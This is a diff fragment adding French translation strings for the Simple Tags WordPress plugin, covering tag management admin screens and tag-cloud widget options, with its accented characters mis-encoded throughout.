+#: /2.7/inc/simple-tags.admin.php:611
+msgid "Reset Options"
+msgstr "Restaurer les options par dÃ©faut"
+
+#: /2.3/inc/simple-tags.admin.php:534
+#: /2.5/inc/simple-tags.admin.php:548
+msgid "Uninstallation"
+msgstr "DÃ©sinstallation"
+
+#: /2.3/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:554
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "GÃ©nÃ©ralement, la dÃ©sactivation d'un plugin, n'efface aucune donnÃ©e de ce dernier, si vous voulez vraiment arrÃªter d'utiliser Simple Tags, merci d'effacer <strong>toutes</strong> les options avant de dÃ©sactiver le plugin."
+
+#: /2.3/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:555
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "Ceci effacera toutes les options de Simple Tags. <strong>Cette action est irrÃ©versible, soyez prudent.</strong>"
+
+#: /2.3/inc/simple-tags.admin.php:544
+#: /2.5/inc/simple-tags.admin.php:558
+msgid "Delete all options ?"
+msgstr "Effacer toutes les options ?"
+
+#: /2.3/inc/simple-tags.admin.php:568
+#: /2.3/inc/simple-tags.admin.php:1714
+#: /2.5/inc/simple-tags.admin.php:580
+#: /2.5/inc/simple-tags.admin.php:1751
+#: /2.7/inc/simple-tags.admin.php:627
+#: /2.7/inc/simple-tags.admin.php:1725
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "ProblÃšme de sÃ©curitÃ©. Merci de rÃ©essayer. Si le problÃšme persiste, contacter <a href=\"mailto:amaury@wordpress-fr.net\">l'auteur du plugin</a>."
+
+#: /2.3/inc/simple-tags.admin.php:601
+#: /2.3/inc/simple-tags.widgets.php:171
+#: /2.5/inc/simple-tags.admin.php:613
+#: /2.5/inc/simple-tags.widgets.php:159
+#: /2.7/inc/simple-tags.admin.php:660
+#: /2.7/inc/simple-tags.widgets.php:159
+msgid "Most popular"
+msgstr "Plus populaire"
+
+#: /2.3/inc/simple-tags.admin.php:602
+#: /2.3/inc/simple-tags.widgets.php:161
+#: /2.3/inc/simple-tags.widgets.php:172
+#: /2.5/inc/simple-tags.admin.php:614
+#: /2.5/inc/simple-tags.widgets.php:149
+#: /2.5/inc/simple-tags.widgets.php:160
+#: /2.7/inc/simple-tags.admin.php:661
+#: /2.7/inc/simple-tags.widgets.php:149
+#: /2.7/inc/simple-tags.widgets.php:160
+msgid "Least used"
+msgstr "Moins utilisÃ©"
+
+#: /2.3/inc/simple-tags.admin.php:603
+#: /2.3/inc/simple-tags.widgets.php:158
+#: /2.3/inc/simple-tags.widgets.php:169
+#: /2.5/inc/simple-tags.admin.php:615
+#: /2.5/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:157
+#: /2.7/inc/simple-tags.admin.php:662
+#: /2.7/inc/simple-tags.widgets.php:146
+#: /2.7/inc/simple-tags.widgets.php:157
+msgid "Alphabetical"
+msgstr "AlphabÃ©tique"
+
+#: /2.3/inc/simple-tags.admin.php:634
+#: /2.5/inc/simple-tags.admin.php:646
+#: /2.7/inc/simple-tags.admin.php:693
+msgid "Existing Tags"
+msgstr "Tags existants:"
+
+#: /2.3/inc/simple-tags.admin.php:638
+#: /2.5/inc/simple-tags.admin.php:650
+#: /2.7/inc/simple-tags.admin.php:697
+msgid "Search tags"
+msgstr "Chercher des tags"
+
+#: /2.3/inc/simple-tags.admin.php:642
+#: /2.5/inc/simple-tags.admin.php:654
+#: /2.7/inc/simple-tags.admin.php:701
+msgid "Go"
+msgstr "Ok"
+
+#: /2.3/inc/simple-tags.admin.php:645
+#: /2.5/inc/simple-tags.admin.php:658
+#: /2.7/inc/simple-tags.admin.php:705
+msgid "Sort Order:"
+msgstr "Trier par:"
+
+#: /2.3/inc/simple-tags.admin.php:660
+#: /2.3/inc/simple-tags.admin.php:1844
+#: /2.5/inc/simple-tags.admin.php:676
+#: /2.5/inc/simple-tags.admin.php:1880
+#: /2.7/inc/simple-tags.admin.php:723
+#: /2.7/inc/simple-tags.admin.php:1847
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "Voir les articles taggÃ©s avec %s"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1859
+#: /2.3/inc/simple-tags.admin.php:1861
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1895
+#: /2.5/inc/simple-tags.admin.php:1897
+#: /2.7/inc/simple-tags.admin.php:731
+#: /2.7/inc/simple-tags.admin.php:1862
+#: /2.7/inc/simple-tags.admin.php:1864
+msgid "Previous tags"
+msgstr "Tags prÃ©cÃ©dents"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1865
+#: /2.3/inc/simple-tags.admin.php:1867
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1901
+#: /2.5/inc/simple-tags.admin.php:1903
+#: /2.7/inc/simple-tags.admin.php:731
+#: /2.7/inc/simple-tags.admin.php:1868
+#: /2.7/inc/simple-tags.admin.php:1870
+msgid "Next tags"
+msgstr "Tags suivant"
+
+#: /2.3/inc/simple-tags.admin.php:679
+#: /2.5/inc/simple-tags.admin.php:691
+#: /2.7/inc/simple-tags.admin.php:738
+msgid "Rename Tag"
+msgstr "Renommer le tag"
+
+#: /2.3/inc/simple-tags.admin.php:680
+#: /2.5/inc/simple-tags.admin.php:699
+#: /2.7/inc/simple-tags.admin.php:746
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "Entrer le tag Ã  renommer et sa nouvelle valeur.  Vous pouvez Ã©galement utiliser cette fonction pour fusionner des tags. <br />Cliquer sur \"Renommer\" et tous les articles utilisant ce ou ces tag(s) seront mis Ã  jour."
+
+#: /2.3/inc/simple-tags.admin.php:681
+#: /2.3/inc/simple-tags.admin.php:722
+#: /2.5/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:774
+#: /2.7/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:821
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "Vous pouvez spÃ©cifier plusieurs tags Ã  renommer en les sÃ©parant avec des virgules."
+
+#: /2.3/inc/simple-tags.admin.php:686
+#: /2.5/inc/simple-tags.admin.php:704
+#: /2.7/inc/simple-tags.admin.php:751
+msgid "Tag(s) to rename:"
+msgstr "Tag(s) Ã  renommer:"
+
+#: /2.3/inc/simple-tags.admin.php:687
+#: /2.5/inc/simple-tags.admin.php:708
+#: /2.7/inc/simple-tags.admin.php:755
+msgid "New tag name(s):"
+msgstr "Nom des nouveaux tags:"
+
+#: /2.3/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:711
+#: /2.7/inc/simple-tags.admin.php:758
+msgid "Rename"
+msgstr "Renommer"
+
+#: /2.3/inc/simple-tags.admin.php:693
+#: /2.5/inc/simple-tags.admin.php:717
+#: /2.7/inc/simple-tags.admin.php:764
+msgid "Delete Tag"
+msgstr "Effacer le tag"
+
+#: /2.3/inc/simple-tags.admin.php:694
+#: /2.5/inc/simple-tags.admin.php:725
+#: /2.7/inc/simple-tags.admin.php:772
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "Entrer le nom du tag Ã  supprimer. Ce tag sera supprimÃ© pour tous les articles/pages."
+
+#: /2.3/inc/simple-tags.admin.php:695
+#: /2.5/inc/simple-tags.admin.php:726
+#: /2.7/inc/simple-tags.admin.php:773
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "Vous pouvez spÃ©cifier plusieurs tags Ã  supprimer en les sÃ©parant avec des virgules"
+
+#: /2.3/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:730
+#: /2.7/inc/simple-tags.admin.php:777
+msgid "Tag(s) to delete:"
+msgstr "Tag(s) to Delete:"
+
+#: /2.3/inc/simple-tags.admin.php:701
+#: /2.5/inc/simple-tags.admin.php:733
+#: /2.7/inc/simple-tags.admin.php:780
+msgid "Delete"
+msgstr "Effacer"
+
+#: /2.3/inc/simple-tags.admin.php:706
+#: /2.5/inc/simple-tags.admin.php:739
+#: /2.7/inc/simple-tags.admin.php:786
+msgid "Add Tag"
+msgstr "Ajouter un tag"
+
+#: /2.3/inc/simple-tags.admin.php:707
+#: /2.5/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:794
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "Cette fonctionnalitÃ© vous permet d'ajouter un ou plusieurs tags Ã  tous vos articles Ã  partir d'une recherche sur un ou plusieurs tag(s) dÃ©fini(s)."
+
+#: /2.3/inc/simple-tags.admin.php:708
+#: /2.5/inc/simple-tags.admin.php:748
+#: /2.7/inc/simple-tags.admin.php:795
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "Vous pouvez spÃ©cifier plusieurs tags Ã  ajouter en les sÃ©parant avec des virgules. Si vous souhaitez ajouter ce ou ces tags Ã  tous les articles, vous n'avez pas besoin d'entrer de tags Ã  rechercher."
+
+#: /2.3/inc/simple-tags.admin.php:713
+#: /2.3/inc/simple-tags.admin.php:728
+#: /2.5/inc/simple-tags.admin.php:752
+#: /2.5/inc/simple-tags.admin.php:778
+#: /2.7/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:825
+msgid "Tag(s) to match:"
+msgstr "Tag(s) Ã  rechercher:"
+
+#: /2.3/inc/simple-tags.admin.php:714
+#: /2.5/inc/simple-tags.admin.php:756
+#: /2.7/inc/simple-tags.admin.php:803
+msgid "Tag(s) to add:"
+msgstr "Tag(s) Ã  ajouter:"
+
+#: /2.3/inc/simple-tags.admin.php:715
+#: /2.5/inc/simple-tags.admin.php:759
+#: /2.7/inc/simple-tags.admin.php:806
+msgid "Add"
+msgstr "Ajouter"
+
+#: /2.3/inc/simple-tags.admin.php:720
+#: /2.5/inc/simple-tags.admin.php:765
+#: /2.7/inc/simple-tags.admin.php:812
+msgid "Edit Tag Slug"
+msgstr "Editer l'identifiant d'un tag"
+
+#: /2.3/inc/simple-tags.admin.php:721
+#: /2.5/inc/simple-tags.admin.php:773
+#: /2.7/inc/simple-tags.admin.php:820
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "Entre le nom du tag Ã  Ã©diter et son nouvel identifiant. <a href=\"http://codex.wordpress.org/Glossary#Slug\">DÃ©finition de slug (en anglais)</a>"
+
+#: /2.3/inc/simple-tags.admin.php:732
+#: /2.5/inc/simple-tags.admin.php:782
+#: /2.7/inc/simple-tags.admin.php:829
+msgid "Slug(s) to set:"
+msgstr "Identifiant(s) Ã  fixer:"
+
+#: /2.3/inc/simple-tags.admin.php:737
+#: /2.3/inc/simple-tags.admin.php:916
+#: /2.5/inc/simple-tags.admin.php:785
+#: /2.5/inc/simple-tags.admin.php:1050
+#: /2.7/inc/simple-tags.admin.php:832
+#: /2.7/inc/simple-tags.admin.php:1065
+msgid "Edit"
+msgstr "Editer"
+
+#: /2.3/inc/simple-tags.admin.php:743
+#: /2.5/inc/simple-tags.admin.php:791
+#: /2.7/inc/simple-tags.admin.php:838
+msgid "Remove empty terms"
+msgstr "Supprimer les termes vides"
+
+#: /2.3/inc/simple-tags.admin.php:744
+#: /2.5/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:846
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 a un petit bug et permet la crÃ©ation de termes vides. Supprimez les !"
+
+#: /2.3/inc/simple-tags.admin.php:748
+#: /2.5/inc/simple-tags.admin.php:800
+#: /2.7/inc/simple-tags.admin.php:847
+msgid "Clean !"
+msgstr "Nettoyer !"
+
+#: /2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "Mots recherchÃ©s&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:854
+#: /2.5/inc/simple-tags.admin.php:1020
+#: /2.7/inc/simple-tags.admin.php:1026
+msgid "Quantity&hellip;"
+msgstr "QuantitÃ©&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "Auteur&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "N'importe"
+
+#: /2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "Type&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "Article"
+
+#: /2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "Page"
+
+#: /2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "Ordre&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "Date (descendant)"
+
+#: /2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "Date (ascendant)"
+
+#: /2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID (descendant)"
+
+#: /2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (ascendant)"
+
+#: /2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "Filtrer&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "Tous"
+
+#: /2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "Non taggÃ©"
+
+#: /2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "Filtrer &#187;"
+
+#: /2.3/inc/simple-tags.admin.php:912
+#: /2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "Tout mettre Ã  jour"
+
+#: /2.3/inc/simple-tags.admin.php:936
+#: /2.5/inc/simple-tags.admin.php:1080
+#: /2.7/inc/simple-tags.admin.php:1096
+msgid "No content to edit."
+msgstr "Pas de contenu Ã  Ã©diter."
+
+#: /2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "Tags (sÃ©parez les tags multiples par des virgules : chat, nourriture pour animaux, chien)"
+
+#: /2.3/inc/simple-tags.admin.php:1105
+#: /2.5/inc/simple-tags.admin.php:1338
+#: /2.7/inc/simple-tags.admin.php:1329
+msgid "No new tag specified!"
+msgstr "Aucun nouveau tag spÃ©cifiÃ©!"
+
+#: /2.3/inc/simple-tags.admin.php:1124
+#: /2.5/inc/simple-tags.admin.php:1353
+#: /2.7/inc/simple-tags.admin.php:1344
+msgid "No new/old valid tag specified!"
+msgstr "Aucun ancien ou nouveau tag spÃ©cifiÃ©!"
+
+#: /2.3/inc/simple-tags.admin.php:1156
+#: /2.5/inc/simple-tags.admin.php:1389
+#: /2.7/inc/simple-tags.admin.php:1380
+msgid "No tag renamed."
+msgstr "Aucun tag renommÃ©."
+
+#: /2.3/inc/simple-tags.admin.php:1159
+#: /2.5/inc/simple-tags.admin.php:1391
+#: /2.7/inc/simple-tags.admin.php:1382
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "Le(s) tag(s) &laquo;%1$s&raquo; a (ont) Ã©tÃ© renommÃ©(s) en &laquo;%2$s&raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:1166
+#: /2.5/inc/simple-tags.admin.php:1398
+#: /2.7/inc/simple-tags.admin.php:1389
+msgid "No valid new tag."
+msgstr "Aucun nouveau tag valide."
+
+#: /2.3/inc/simple-tags.admin.php:1183
+#: /2.5/inc/simple-tags.admin.php:1415
+#: /2.7/inc/simple-tags.admin.php:1406
+msgid "No objects (post/page) found for specified old tags."
+msgstr "Aucun objets (article/page) trouvÃ© pour les anciens tags spÃ©cifiÃ©s."
+
+#: /2.3/inc/simple-tags.admin.php:1208
+#: /2.5/inc/simple-tags.admin.php:1444
+#: /2.7/inc/simple-tags.admin.php:1433
+msgid "No tag merged."
+msgstr "Aucun tag fusionnÃ©."
+
+#: /2.3/inc/simple-tags.admin.php:1211
+#: /2.5/inc/simple-tags.admin.php:1446
+#: /2.7/inc/simple-tags.admin.php:1435
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "Fusionner les tag(s) &laquo;%1$s&raquo; en &laquo;%2$s&raquo;. %3$s objet(s) Ã©ditÃ©(s)."
+
+#: /2.3/inc/simple-tags.admin.php:1214
+#: /2.5/inc/simple-tags.admin.php:1449
+#: /2.7/inc/simple-tags.admin.php:1438
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "Erreur. Pas assez de tags pour renommer. Trop pour fusionner. Choisissez !"
+
+#: /2.3/inc/simple-tags.admin.php:1240
+#: /2.5/inc/simple-tags.admin.php:1476
+#: /2.7/inc/simple-tags.admin.php:1465
+msgid "No tag specified!"
+msgstr "Aucun tag spÃ©cifiÃ©!"
+
+#: /2.3/inc/simple-tags.admin.php:1265
+#: /2.5/inc/simple-tags.admin.php:1499
+#: /2.7/inc/simple-tags.admin.php:1488
+msgid "No tag deleted."
+msgstr "Aucun tag effacÃ©."
+
+#: /2.3/inc/simple-tags.admin.php:1268
+#: /2.5/inc/simple-tags.admin.php:1501
+#: /2.7/inc/simple-tags.admin.php:1490
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%1s tag(s) effacÃ©(s)."
+
+#: /2.3/inc/simple-tags.admin.php:1280
+#: /2.5/inc/simple-tags.admin.php:1513
+#: /2.7/inc/simple-tags.admin.php:1502
+msgid "No new tag(s) specified!"
+msgstr "Aucun nouveau tag(s) spÃ©cifiÃ©!"
+
+#: /2.3/inc/simple-tags.admin.php:1328
+#: /2.5/inc/simple-tags.admin.php:1564
+#: /2.7/inc/simple-tags.admin.php:1553
+msgid "No tag added."
+msgstr "Aucun tag ajoutÃ©."
+
+#: /2.3/inc/simple-tags.admin.php:1331
+#: /2.5/inc/simple-tags.admin.php:1566
+#: /2.7/inc/simple-tags.admin.php:1555
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "Tag(s) ajoutÃ©(s) Ã  %1s article(s)."
+
+#: /2.3/inc/simple-tags.admin.php:1343
+#: /2.5/inc/simple-tags.admin.php:1578
+#: /2.7/inc/simple-tags.admin.php:1567
+msgid "No new slug(s) specified!"
+msgstr "Aucun nouveau identifiant(s) spÃ©cifiÃ©!"
+
+#: /2.3/inc/simple-tags.admin.php:1359
+#: /2.5/inc/simple-tags.admin.php:1590
+#: /2.7/inc/simple-tags.admin.php:1579
+msgid "Tags number and slugs number isn't the same!"
+msgstr "Le nombre de tags et d'identifiants n'est pas le mÃªme!"
+
+#: /2.3/inc/simple-tags.admin.php:1383
+#: /2.5/inc/simple-tags.admin.php:1617
+#: /2.7/inc/simple-tags.admin.php:1606
+msgid "No slug edited."
+msgstr "Aucun identifiant Ã©ditÃ©."
+
+#: /2.3/inc/simple-tags.admin.php:1386
+#: /2.5/inc/simple-tags.admin.php:1619
+#: /2.7/inc/simple-tags.admin.php:1608
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s identifiant(s) Ã©ditÃ©."
+
+#: /2.3/inc/simple-tags.admin.php:1404
+#: /2.5/inc/simple-tags.admin.php:1637
+#: /2.7/inc/simple-tags.admin.php:1626
+msgid "Nothing to muck. Good job !"
+msgstr "Rien Ã  enlever. Bon travail!"
+
+#: /2.3/inc/simple-tags.admin.php:1429
+#: /2.5/inc/simple-tags.admin.php:1665
+#: /2.7/inc/simple-tags.admin.php:1654
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s lignes supprimÃ©es. La base de donnÃ©es de WordPress est nettoyÃ©e !"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1678
+#: /2.7/inc/simple-tags.admin.php:130
+msgid "Display click tags"
+msgstr "Afficher les Clic Tags"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1679
+#: /2.7/inc/simple-tags.admin.php:131
+msgid "Hide click tags"
+msgstr "Cache les tags"
+
+#: /2.3/inc/simple-tags.admin.php:1504
+#: /2.5/inc/simple-tags.admin.php:1696
+#: /2.7/inc/simple-tags.admin.php:1682
+msgid "Suggested tags from :"
+msgstr "Tags suggÃ©rÃ©s depuis :"
+
+#: /2.3/inc/simple-tags.admin.php:1505
+#: /2.5/inc/simple-tags.admin.php:1697
+#: /2.7/inc/simple-tags.admin.php:1683
+msgid "Local tags"
+msgstr "Tags local"
+
+#: /2.3/inc/simple-tags.admin.php:1506
+#: /2.5/inc/simple-tags.admin.php:1698
+#: /2.7/inc/simple-tags.admin.php:1684
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: /2.3/inc/simple-tags.admin.php:1507
+#: /2.5/inc/simple-tags.admin.php:1699
+#: /2.7/inc/simple-tags.admin.php:1685
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: /2.3/inc/simple-tags.admin.php:1513
+#: /2.5/inc/simple-tags.admin.php:1702
+#: /2.7/inc/simple-tags.admin.php:136
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "Choisissez une source pour recupÃ©rer les tags suggerÃ©s (base locale, yahoo ou tag the net)."
+
+#: /2.3/inc/simple-tags.admin.php:1742
+#: /2.5/inc/simple-tags.admin.php:1783
+#: /2.7/inc/simple-tags.admin.php:1757
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "Les tags de %s article(s) ont Ã©tÃ© mis Ã  jour avec succÃšs !"
+
+#: /2.3/inc/simple-tags.admin.php:1744
+#: /2.5/inc/simple-tags.admin.php:1781
+#: /2.7/inc/simple-tags.admin.php:1755
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "Les tags de %s page(s) ont Ã©tÃ© mis Ã  jour avec succÃšs !"
+
+#: /2.3/inc/simple-tags.admin.php:2155
+#: /2.5/inc/simple-tags.admin.php:2189
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+
+#: /2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "Page:"
+
+#: /2.3/inc/simple-tags.admin.php:2274
+#: /2.5/inc/simple-tags.admin.php:2291
+#: /2.7/inc/simple-tags.admin.php:2213
+msgid "General"
+msgstr "Options gÃ©nÃ©rales"
+
+#: /2.3/inc/simple-tags.admin.php:2277
+#: /2.5/inc/simple-tags.admin.php:2294
+#: /2.7/inc/simple-tags.admin.php:2207
+msgid "Administration"
+msgstr "Administration"
+
+#: /2.3/inc/simple-tags.admin.php:2280
+#: /2.5/inc/simple-tags.admin.php:2297
+#: /2.7/inc/simple-tags.admin.php:2216
+msgid "Meta Keyword"
+msgstr "Mots clÃ©s"
+
+#: /2.3/inc/simple-tags.admin.php:2283
+#: /2.5/inc/simple-tags.admin.php:2300
+#: /2.7/inc/simple-tags.admin.php:2219
+#: /extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "Tags embarquÃ©s"
+
+#: /2.3/inc/simple-tags.admin.php:2286
+#: /2.5/inc/simple-tags.admin.php:2303
+#: /2.7/inc/simple-tags.admin.php:2222
+msgid "Tags for Current Post"
+msgstr "Tags de l'article courant"
+
+#: /2.3/inc/simple-tags.admin.php:2289
+#: /2.5/inc/simple-tags.admin.php:2306
+#: /2.7/inc/simple-tags.admin.php:2225
+msgid "Related Posts"
+msgstr "Articles relatifs"
+
+#: /2.3/inc/simple-tags.admin.php:2292
+#: /2.5/inc/simple-tags.admin.php:2309
+#: /2.7/inc/simple-tags.admin.php:2228
+msgid "Related Tags"
+msgstr "Tags relatifs"
+
+#: /2.3/inc/simple-tags.admin.php:2295
+#: /2.5/inc/simple-tags.admin.php:2312
+#: /2.7/inc/simple-tags.admin.php:2231
+msgid "Tag cloud"
+msgstr "Nuage de tags"
+
+#: /2.3/inc/simple-tags.widgets.php:143
+#: /2.5/inc/simple-tags.widgets.php:131
+#: /2.7/inc/simple-tags.widgets.php:131
+msgid "Empty field will use default value."
+msgstr "Les champs vides utiliseront la valeur par dÃ©faut."
+
+#: /2.3/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:134
+#: /2.7/inc/simple-tags.widgets.php:134
+msgid "Title:"
+msgstr "Titre:"
+
+#: /2.3/inc/simple-tags.widgets.php:151
+#: /2.5/inc/simple-tags.widgets.php:139
+#: /2.7/inc/simple-tags.widgets.php:139
+msgid "Max tags to display: (default: 45)"
+msgstr "Nombre max de tags Ã  afficher: (dÃ©faut: 45)"
+
+#: /2.3/inc/simple-tags.widgets.php:156
+#: /2.5/inc/simple-tags.widgets.php:144
+#: /2.7/inc/simple-tags.widgets.php:144
+msgid "Tags selection:"
+msgstr "Selection des tags:"
+
+#: /2.3/inc/simple-tags.widgets.php:159
+#: /2.3/inc/simple-tags.widgets.php:170
+#: /2.5/inc/simple-tags.widgets.php:147
+#: /2.5/inc/simple-tags.widgets.php:158
+#: /2.7/inc/simple-tags.widgets.php:147
+#: /2.7/inc/simple-tags.widgets.php:158
+msgid "Inverse Alphabetical"
+msgstr "Inverse de l'ordre alphabÃ©tique"
+
+#: /2.3/inc/simple-tags.widgets.php:160
+#: /2.5/inc/simple-tags.widgets.php:148
+#: /2.7/inc/simple-tags.widgets.php:148
+msgid "Most popular (default)"
+msgstr "Plus populaire (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.widgets.php:162
+#: /2.5/inc/simple-tags.widgets.php:150
+#: /2.7/inc/simple-tags.widgets.php:150
+msgid "Random"
+msgstr "AlÃ©atoire"
+
+#: /2.3/inc/simple-tags.widgets.php:173
+#: /2.5/inc/simple-tags.widgets.php:161
+#: /2.7/inc/simple-tags.widgets.php:161
+msgid "Random (default)"
+msgstr "AlÃ©atoire (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.widgets.php:178
+#: /2.5/inc/simple-tags.widgets.php:166
+#: /2.7/inc/simple-tags.widgets.php:166
+msgid "Font size mini: (default: 8)"
+msgstr "Taille minimale (dÃ©faut: 8)"
+
+#: /2.3/inc/simple-tags.widgets.php:183
+#: /2.5/inc/simple-tags.widgets.php:171
+#: /2.7/inc/simple-tags.widgets.php:171
+msgid "Font size max: (default: 22)"
+msgstr "Taille maximale (dÃ©faut: 22)"
+
+#: /2.3/inc/simple-tags.widgets.php:188
+#: /2.5/inc/simple-tags.widgets.php:176
+#: /2.7/inc/simple-tags.widgets.php:176
+msgid "Unit font size:"
+msgstr "UnitÃ© pour la taille:"
+
+#: /2.3/inc/simple-tags.widgets.php:190
+#: /2.5/inc/simple-tags.widgets.php:178
+#: /2.7/inc/simple-tags.widgets.php:178
+msgid "Point (default)"
+msgstr "Point (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.widgets.php:191
+#: /2.5/inc/simple-tags.widgets.php:179
+#: /2.7/inc/simple-tags.widgets.php:179
+msgid "Pixel"
+msgstr "Pixel"
+
+#: /2.3/inc/simple-tags.widgets.php:192
+#: /2.5/inc/simple-tags.widgets.php:180
+#: /2.7/inc/simple-tags.widgets.php:180
+msgid "Em"
+msgstr "Em"
+
+#: /2.3/inc/simple-tags.widgets.php:193
+#: /2.5/inc/simple-tags.widgets.php:181
+#: /2.7/inc/simple-tags.widgets.php:181
+msgid "Pourcent"
+msgstr "Pourcentage"
+
+#: /2.3/inc/simple-tags.widgets.php:198
+#: /2.5/inc/simple-tags.widgets.php:186
+#: /2.7/inc/simple-tags.widgets.php:186
+msgid "Format:"
+msgstr "Format:"
+
+#: /2.3/inc/simple-tags.widgets.php:200
+#: /2.5/inc/simple-tags.widgets.php:188
+#: /2.7/inc/simple-tags.widgets.php:188
+msgid "Flat (default)"
+msgstr "Applati (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.widgets.php:201
+#: /2.5/inc/simple-tags.widgets.php:189
+#: /2.7/inc/simple-tags.widgets.php:189
+msgid "List (UL/LI)"
+msgstr "Liste (UL/LI)"
+
+#: /2.3/inc/simple-tags.widgets.php:207
+#: /2.5/inc/simple-tags.widgets.php:195
+#: /2.7/inc/simple-tags.widgets.php:195
+msgid "Use auto color cloud:"
+msgstr "Utiliser la gÃ©nÃ©ration automatique de couleur:"
+
+#: /2.3/inc/simple-tags.widgets.php:211
+#: /2.5/inc/simple-tags.widgets.php:199
+#: /2.7/inc/simple-tags.widgets.php:199
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "Couleur minimale: (defaut: #CCCCCC)"
+
+#: /2.3/inc/simple-tags.widgets.php:216
+#: /2.5/inc/simple-tags.widgets.php:204
+#: /2.7/inc/simple-tags.widgets.php:204
+msgid "Font color max: (default: #000000)"
+msgstr "Couleur maximale: (defaut: #000000)"
+
+#: /2.3/inc/simple-tags.widgets.php:221
+#: /2.5/inc/simple-tags.widgets.php:209
+#: /2.7/inc/simple-tags.widgets.php:209
+msgid "Extended format: (advanced usage)"
+msgstr "Format Ã©tendu: (utilisation avancÃ©e)"
+
